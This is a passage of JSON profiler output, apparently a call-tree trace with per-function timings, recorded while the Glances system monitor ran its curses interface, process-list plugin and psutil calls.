[{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002048,\"attributes\": {\"l718\": 0.0020483879998209886},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002048,\"attributes\": {\"l682\": 0.0020483879998209886},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002048,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002048,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000136\",\"time\": 0.002025,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020251640016795136, \"l151\": 0.0020251640016795136},\"children\": [{\"identifier\": \"initscr\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/curses/__init__.py\\u000025\",\"time\": 0.002025,\"attributes\": {\"l34\": 0.0020251640016795136},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002025,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"setup_server_mode\\u0000/home/nicolargo/dev/glances/glances/__init__.py\\u000098\",\"time\": 64.891196,\"attributes\": {\"l104\": 64.89119593299984},\"children\": [{\"identifier\": \"serve_forever\\u0000/home/nicolargo/dev/glances/glances/standalone.py\\u0000181\",\"time\": 64.891196,\"attributes\": {\"cGlancesStandalone\": 64.89119593299984, \"l184\": 64.89119593299984},\"children\": [{\"identifier\": \"serve_n\\u0000/home/nicolargo/dev/glances/glances/standalone.py\\u0000174\",\"time\": 64.891196,\"attributes\": {\"cGlancesStandalone\": 64.89119593299984, \"l177\": 64.89119593299984},\"children\": [{\"identifier\": \"__serve_once\\u0000/home/nicolargo/dev/glances/glances/standalone.py\\u0000136\",\"time\": 64.891196,\"attributes\": {\"cGlancesStandalone\": 64.89119593299984, \"l144\": 4.994499106978765, \"l158\": 59.89669682602107},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.025965,\"attributes\": {\"cGlancesStats\": 0.02596535100019537, \"l287\": 0.02596535100019537},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.025965,\"attributes\": {\"cGlancesStats\": 0.02596535100019537, \"l575\": 0.02596535100019537},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.025965,\"attributes\": {\"l571\": 0.02596535100019537},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.025965,\"attributes\": {\"cGlancesStats\": 0.02596535100019537, \"l274\": 0.0038983029953669757, \"l275\": 0.022067048004828393},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.003898,\"attributes\": {\"cProgramlistPlugin\": 0.0038983029953669757, \"l155\": 0.0038983029953669757},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.003898,\"attributes\": {\"cGlancesProcesses\": 0.0038983029953669757, \"l711\": 0.0038983029953669757},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.003898,\"attributes\": {\"l71\": 0.001894408000225667, \"l69\": 0.0020038949951413088},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001894,\"attributes\": {\"l50\": 0.001894408000225667},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001894,\"attributes\": {},\"children\": []}]},{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002004,\"attributes\": {\"l19\": 0.0020038949951413088},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.020072,\"attributes\": {\"cProgramlistPlugin\": 0.008020151006348897, \"l678\": 0.02007247400615597, \"cProcesslistPlugin\": 0.012052322999807075},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.0019966430045315064, \"l656\": 0.0019966430045315064},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.006002,\"attributes\": {\"cProgramlistPlugin\": 0.004024101006507408, \"l634\": 0.001998989006096963, \"l633\": 0.0040026299975579605, \"cProcesslistPlugin\": 0.0019775179971475154},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998989006096963, \"l628\": 0.001998989006096963},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004003,\"attributes\": {\"cProgramlistPlugin\": 0.002025112000410445, \"l614\": 0.002025112000410445, \"cProcesslistPlugin\": 0.0019775179971475154, \"l619\": 0.0019775179971475154},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002025,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001978,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002084,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007991,\"attributes\": {\"cProcesslistPlugin\": 0.007990922000317369, \"l656\": 0.004004884998721536, \"l633\": 0.003986037001595832},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002006,\"attributes\": {\"cProcesslistPlugin\": 0.002005636000831146, \"l621\": 0.002005636000831146},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/memswap/__init__.py\\u0000143\",\"time\": 0.001995,\"attributes\": {\"cMemswapPlugin\": 0.001994573998672422, \"l146\": 0.001994573998672422},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001995,\"attributes\": {\"cMemswapPlugin\": 0.001994573998672422, \"l686\": 0.001994573998672422},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062160,\"attributes\": {\"cGlancesCursesStandalone\": 2.062160433997633, \"l1154\": 0.05193964100180892, \"l1169\": 1.0052151519994368, \"l1172\": 1.0050056409963872},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051940,\"attributes\": {\"cGlancesCursesStandalone\": 0.05193964100180892, \"l1135\": 0.04992764399503358, \"l1136\": 0.0020119970067753457},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049928,\"attributes\": {\"cGlancesCursesStandalone\": 0.04992764399503358, \"l569\": 0.04792652600008296, \"l603\": 0.0020011179949506186},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047927,\"attributes\": {\"cGlancesCursesStandalone\": 0.04792652600008296, \"l545\": 0.04792652600008296},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047927,\"attributes\": {\"cProgramlistPlugin\": 0.02201276199775748, \"l1101\": 0.04792652600008296, \"cProcesslistPlugin\": 0.02591376400232548},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047927,\"attributes\": {\"cProgramlistPlugin\": 0.02201276199775748, \"l587\": 0.04792652600008296, \"cProcesslistPlugin\": 0.02591376400232548},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047927,\"attributes\": {\"cProgramlistPlugin\": 0.02201276199775748, \"l538\": 0.043909678992349654, \"l546\": 0.002015580001170747, \"l539\": 0.002001267006562557, \"cProcesslistPlugin\": 0.02591376400232548},\"children\": [{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002001660999667365, \"l309\": 0.002001660999667365},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002001660999667365, \"l848\": 0.002001660999667365},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002029,\"attributes\": {\"cProgramlistPlugin\": 0.0020289410022087395, \"l429\": 0.0020289410022087395},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002029,\"attributes\": {\"cProgramlistPlugin\": 0.0020289410022087395, \"l280\": 0.0020289410022087395},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002029,\"attributes\": {\"cProgramlistPlugin\": 0.0020289410022087395, \"l963\": 0.0020289410022087395},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002029,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001986,\"attributes\": {\"cProgramlistPlugin\": 0.001986275994568132, \"l361\": 0.001986275994568132},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001986,\"attributes\": {\"cProgramlistPlugin\": 0.001986275994568132, \"l350\": 0.001986275994568132},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001986,\"attributes\": {\"cProgramlistPlugin\": 0.001986275994568132, \"l1251\": 0.001986275994568132},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001986,\"attributes\": {\"l478\": 0.001986275994568132},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001986,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001981,\"attributes\": {\"cProgramlistPlugin\": 0.001980954002647195, \"l417\": 0.001980954002647195},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001981,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001981,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002016,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002025,\"attributes\": {\"cProgramlistPlugin\": 0.002024841000093147, \"l360\": 0.002024841000093147},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002025,\"attributes\": {\"cProgramlistPlugin\": 0.002024841000093147, \"l341\": 0.002024841000093147},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002025,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001957,\"attributes\": {\"cProgramlistPlugin\": 0.0019566689952625893, \"l470\": 0.0019566689952625893},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001957,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.00200292299996363, \"l360\": 0.00200292299996363},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.00200292299996363, \"l344\": 0.00200292299996363},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.00200292299996363, \"l1130\": 0.00200292299996363},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.0020113419959670864, \"l472\": 0.0020113419959670864},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.0020113419959670864, \"l465\": 0.0020113419959670864},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002011,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001952,\"attributes\": {\"cProcesslistPlugin\": 0.0019523829978425056, \"l429\": 0.0019523829978425056},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001952,\"attributes\": {\"cProcesslistPlugin\": 0.0019523829978425056, \"l280\": 0.0019523829978425056},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001952,\"attributes\": {\"cProcesslistPlugin\": 0.0019523829978425056, \"l969\": 0.0019523829978425056},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001952,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002033,\"attributes\": {\"cProcesslistPlugin\": 0.00203326900373213, \"l505\": 0.00203326900373213},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002033,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000879958388396, \"l397\": 0.0020000879958388396},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.0020000879958388396},\"children\": [{\"identifier\": \"str.zfill\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.0020051790052093565, \"l493\": 0.0020051790052093565},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980979996034876, \"l325\": 0.0019980979996034876},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980979996034876, \"l885\": 0.0019980979996034876},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019980979996034876, \"l907\": 0.0019980979996034876},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001928,\"attributes\": {\"cProcesslistPlugin\": 0.0019276239981991239, \"l360\": 0.0019276239981991239},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001928,\"attributes\": {\"cProcesslistPlugin\": 0.0019276239981991239, \"l340\": 0.0019276239981991239},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001928,\"attributes\": {\"cProcesslistPlugin\": 0.0019276239981991239, \"l1251\": 0.0019276239981991239},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001928,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.00199742700351635, \"l325\": 0.00199742700351635},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.00199742700351635, \"l848\": 0.00199742700351635},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020032249958603643, \"l512\": 0.0020032249958603643},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000020998821128, \"l325\": 0.002000020998821128},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000020998821128, \"l848\": 0.002000020998821128},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.004000030006864108, \"l309\": 0.004000030006864108},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.004000030006864108, \"l885\": 0.004000030006864108},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999944004637655, \"l910\": 0.001999944004637655},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011179949506186, \"l845\": 0.0020011179949506186},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011179949506186, \"l1094\": 0.0020011179949506186},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020011179949506186, \"l1041\": 0.0020011179949506186},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"refresh\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001120\",\"time\": 0.002012,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020119970067753457, \"l1122\": 0.0020119970067753457},\"children\": [{\"identifier\": \"window.refresh\\u0000<built-in>\\u00000\",\"time\": 0.002012,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100359,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035876899928553, \"l291\": 0.10035876899928553},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100359,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035876899928553, \"l260\": 0.10035876899928553},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100359,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100359,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100463,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046318599779624, \"l1202\": 0.10046318599779624},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100463,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100463,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100469,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046915600105422, \"l291\": 0.10046915600105422},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100469,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046915600105422, \"l260\": 0.10046915600105422},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100469,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100469,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100358,\"attributes\": {\"cGlancesCursesStandalone\": 0.100357894996705, \"l1202\": 0.100357894996705},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100358,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100358,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053937400516588, \"l291\": 0.10053937400516588},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053937400516588, \"l260\": 0.10053937400516588},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100539,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100539,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100867,\"attributes\": {\"cGlancesCursesStandalone\": 0.10086709299503127, \"l1202\": 0.10086709299503127},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100867,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100867,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054041800322011, \"l291\": 0.10054041800322011},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054041800322011, \"l260\": 0.10054041800322011},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100540,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100540,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100481,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048110700154211, \"l1202\": 0.10048110700154211},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100481,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100481,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063801299838815, \"l291\": 0.10063801299838815},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100638,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063801299838815, \"l260\": 0.10063801299838815},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100638,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100638,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100472,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047152399783954, \"l1202\": 0.10047152399783954},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100472,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100472,\"attributes\": {},\"children\": 